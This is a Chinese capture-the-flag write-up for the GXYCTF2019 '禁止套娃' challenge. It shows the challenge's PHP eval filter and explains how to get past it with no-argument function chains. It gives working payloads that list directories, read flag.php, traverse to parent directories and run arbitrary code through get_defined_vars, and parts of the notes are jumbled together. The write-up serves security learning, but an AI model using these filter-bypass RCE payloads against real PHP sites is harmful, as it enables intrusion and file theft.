[GXYCTF2019]禁止套娃 1 &无参数RCE

[GXYCTF2019]禁止套娃 1

啥都没有那只能上扫描器来一探究竟了。

扫完没有啥结果,但网上找了一下说是git泄露,但是我这里显示了403.

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

网上的git的代码

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))?R(?R)\w+\(\w+\((?R)?\)\)、\w+\(\w+\(\w+\((?R)?\)\)\)a(b(c()));

关于getenv函数:

getenv()函数定义:取得系统的环境变量;
语法:string getenv(string varname);
注:返回的是字符串;

localeconv函数:返回一包含本地数字及货币格式信息的数组。

output:

Array ( [decimal_point] => . [thousands_sep] => [int_curr_symbol] => [currency_symbol] => [mon_decimal_point] => [mon_thousands_sep] => [positive_sign] => [negative_sign] => [int_frac_digits] => 127 [frac_digits] => 127 [p_cs_precedes] => 127 [p_sep_by_space] => 127 [n_cs_precedes] => 127 [n_sep_by_space] => 127 [p_sign_posn] => 127 [n_sign_posn] => 127 [grouping] => Array ( ) [mon_grouping] => Array ( ) )
(scandir(current(localeconv)))
http://80b87005-c33a-4f1b-8f02-86cdc8ff521c.node3.buuoj.cn/?exp=print_r(scandir(current(localeconv())));
Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

得出在根目录下是存在flag.php的接下来我们就要去读取了。

arrayrand函数:从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回。

array
flip:交换数组的键和值,这样键就是flag,值就是文件名称了,我们在使用随机抽取的方式,获取我们想要的文件内容。

view-source:http://80b87005-c33a-4f1b-8f02-86cdc8ff521c.node3.buuoj.cn/?exp=print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

刷新几下就能刷出来了。

highlight_file,show_source

关于无参数RCE:

eval($_GET['code'])
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}

我们无法利用单引号啦!

$_ENVL:

通过环境方式传递给当前脚本的变量的数组。
这些变量被从 PHP 解析器的运行环境导入到 PHP 的全局命名空间。很多是由支持 PHP 运行的 Shell 提供的,并且不同的系统很可能运行着不同种类的 Shell,所以不可能有一份确定的列表。请查<?php

array_rand:

$a=array("red","green","blue","yellow","brown");
$random_keys=array_rand($a,3);
echo $a[$random_keys[0]]."<br>";
echo $a[$random_keys[1]]."<br>";
echo $a[$random_keys[2]];
?>看你的 Shell 文档来获取定义的环境变量列表。

array_flip:

<?php
$a1=array("a"=>"red","b"=>"green","c"=>"blue","d"=>"yellow");
$result=array_flip($a1);
print_r($result);
?>

反转数组中的键名和对应关联的键值,利用这两步我们就可以骚操作了,妙啊妙啊,因为我们单使用rand它只能返回键名,就很不nice,配合getenv()。

array_reverse:

以相反的元素顺序返回数组

dirname() & chdir()

这种方法我们不进行RCE,而是直接及逆行目录文件读取。

getcwd:获取当前目录。

目录遍历:scandir函数。

返回上层目录:dirname()
更改当前目录:

dirname(getcwd())
chdir(dirname(getcwd()))
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
eval(end(current(get_defined_vars())));&b=youwanttoshow;